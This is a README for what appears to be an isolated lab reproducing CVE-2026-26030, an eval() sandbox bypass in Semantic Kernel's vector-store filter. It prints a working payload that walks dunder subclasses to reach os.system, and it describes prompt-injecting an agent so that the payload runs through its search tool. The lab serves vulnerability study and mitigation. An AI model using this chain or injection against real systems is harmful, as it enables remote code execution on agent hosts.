
倫理的でネットワーク分離されたDockerラボがCVE-2026-26030を再現 — Semantic Kernel in-memory vector store filter eval() RCE (patched in 1.39.4)
eval() RCE (ラボ)CVE-2026-26030 を再現する自己完結型ラボ:Microsoft Semantic Kernel (Python, < 1.39.4) におけるインメモリベクターストア検索フィルターを介したプロンプトインジェクション可能なリモートコード実行。
倫理的ラボのみ。専用の virtualenv 内で隔離されています;ペイロードは無害です(ヘッドレス PoC では
touchマーカーファイル、UI デモではopen -a Calculator)そして自分自身の非特権ユーザーとして実行されます。
./setup.sh # builds two isolated venvs (1.39.3 vulnerable, 1.39.4 patched)
必要: python3.13 (SK の numpy/scipy 依存関係のホイール)。PYTHON= で上書き可能。
./run.sh # runs the same payload against both venvs
脆弱な出力は RCE CONFIRMED で終了します;パッチ適用済みの出力は同じペイロードを '__subclasses__' ... is not allowed で拒否します。
OpsBot は内部エンジニアリングナレッジベースエージェント (Groq ホストの Llama を Semantic Kernel 経由で使用) で、search_runbooks(team) ツールを公開しています。攻撃者は悪意のある team 値をプロンプトインジェクションし、エージェントがツールを呼び出すと、脆弱なフィルターが実行され、TextEdit に「身代金要求メモ」が開きます — 一方エージェントは気づかずに実行ブック結果を報告します。ペイロード (open -e <note>) はノンブロッキングで無害です;メモは /tmp/PWNED_by_CVE-2026-26030.txt にあらかじめ配置されています。
このツールは、クリーンなサブプロセス (run_filter.py) で実際の脆弱なフィルター eval を実行します。これは macOS の必要性によるものであり、不正ではありません:サーバー自身の fork() は非同期 LLM/httpx スレッド + numpy/scipy によって汚染されているため、そのプロセスからの GUI 起動は暗黙的に何も行いません。サブプロセスは正確な CVE コードパス (_parse_and_validate_filter → レコードに対してラムダを実行) です。
注:クリーンサブプロセス分割は、この macOS デモハーネスの特異性であり、脆弱性のものではありません。Linux にデプロイされたエージェントでは、インプロセスで
os.systemが直接発火します — サブプロセスは不要です。
echo 'GROQ_API_KEY=gsk_...' > .env # free key from console.groq.com/keys
./demo-ui/run.sh # http://127.0.0.1:8000
攻撃者のメッセージは入力ボックスに事前に読み込まれています;Send を押してください。
エージェントは InMemoryCollection をバックエンドとする検索ツールを公開します。LLM は会話から フィルター式文字列 (lambda x: x.team == 'platform') を出力します。その文字列は攻撃者により影響を受ける可能性があります — ユーザープロンプト経由、または取得された/ツールのコンテンツに注入されたテキスト経由で — そして _parse_and_validate_filter に到達し、そこで compile() および eval() されます (connectors/in_memory.py:383):
code = compile(tree, filename="<filter>", mode="eval")
func = eval(code, {"__builtins__": {}}, {}) # nosec
__builtins__ は空にされ、AST 許可リストが最初に適用されます — そのためこれは サンドボックスバイパス であり、ガードの欠落ではありません。2つのギャップによりバイパス可能です:
ast.Attribute アクセスは無制限 — ダンダーブロックリストがないため、().__class__.__base__.__subclasses__ のダンダーウォークが許可されます。ast.Call の名前チェックは func が Name または Attribute の場合のみ検査します。 func が Subscript の場合(これは許可リストに含まれています)、func_name は None のままで、許可関数チェックは完全にスキップされます。したがって、任意の呼び出し可能オブジェクトを [obj.method][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/main/args) としてラップすると、何でも呼び出せます。チェーン:
object.__subclasses__()[i] -> BuiltinImporter.load_module('os') -> os.system(cmd)
lambda x: [[[().__class__.__base__.__subclasses__][0]()[107].load_module][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/main/%27os%27).system][0]('touch /tmp/pwned_by_filter')
各呼び出しの func は Subscript です;各トラバーサルステップは単純な属性アクセスです。インデックス (107) は object.__subclasses__() 内の BuiltinImporter の位置です — Python ビルドによって異なるため、exploit.py およびデモは実行時にそれを計算します。
パッチは許可リストの上に 危険属性ブロックリスト を追加し、ダンダーウォークが eval の前に拒否されるようにします:
Access to attribute 'subclasses' is not allowed in filter expressions. This attribute could be used to escape the filter sandbox.
| file | 目的 |
|---|---|
setup.sh | 2つの分離されたvenvを構築する (脆弱版 + パッチ適用済み) |
run.sh | 両方のvenvにおけるヘッドレスPoC |
exploit.py | エンドツーエンド: 実際のコレクション + 検索フィルター -> RCE |
find_sink.py | インストール済みパッケージ内の eval/compile シンクを特定する |
probe.py | バイパスの最小限のバリデーターのみの確認 |
demo-ui/app.py | FastAPI + SK + Groq エージェント; 脆弱な search_runbooks ツール |
demo-ui/run_filter.py | クリーンなサブプロセスで実際のフィルター eval を実行する (サーバー fork() は汚染されている) |
demo-ui/index.html | チャットUI; RCE時にTextEditで身代金メモを開く |
エージェントセキュリティ論の最も明確な表明:「データ」と「命令」の間に境界は存在しない。ユーザーのランブック検索からモデルが書いたフィルターが os.system になる。サンドボックスは存在した — 許可リストと空の __builtins__ — それでも属性トラバーサル+サブスクリプト呼び出しによるバイパスに屈した。ブログ記事で言及する価値のある緩和策の階層:モデルの出力をまったく eval しない;どうしても必要な場合は、ノード許可リスト+オープンな属性アクセスではなく、閉じた文法で制限する;ワーカーを隔離する(seccomp / ネットワークなし / 非特権)ことでコード実行がゲームオーバーにならないようにする。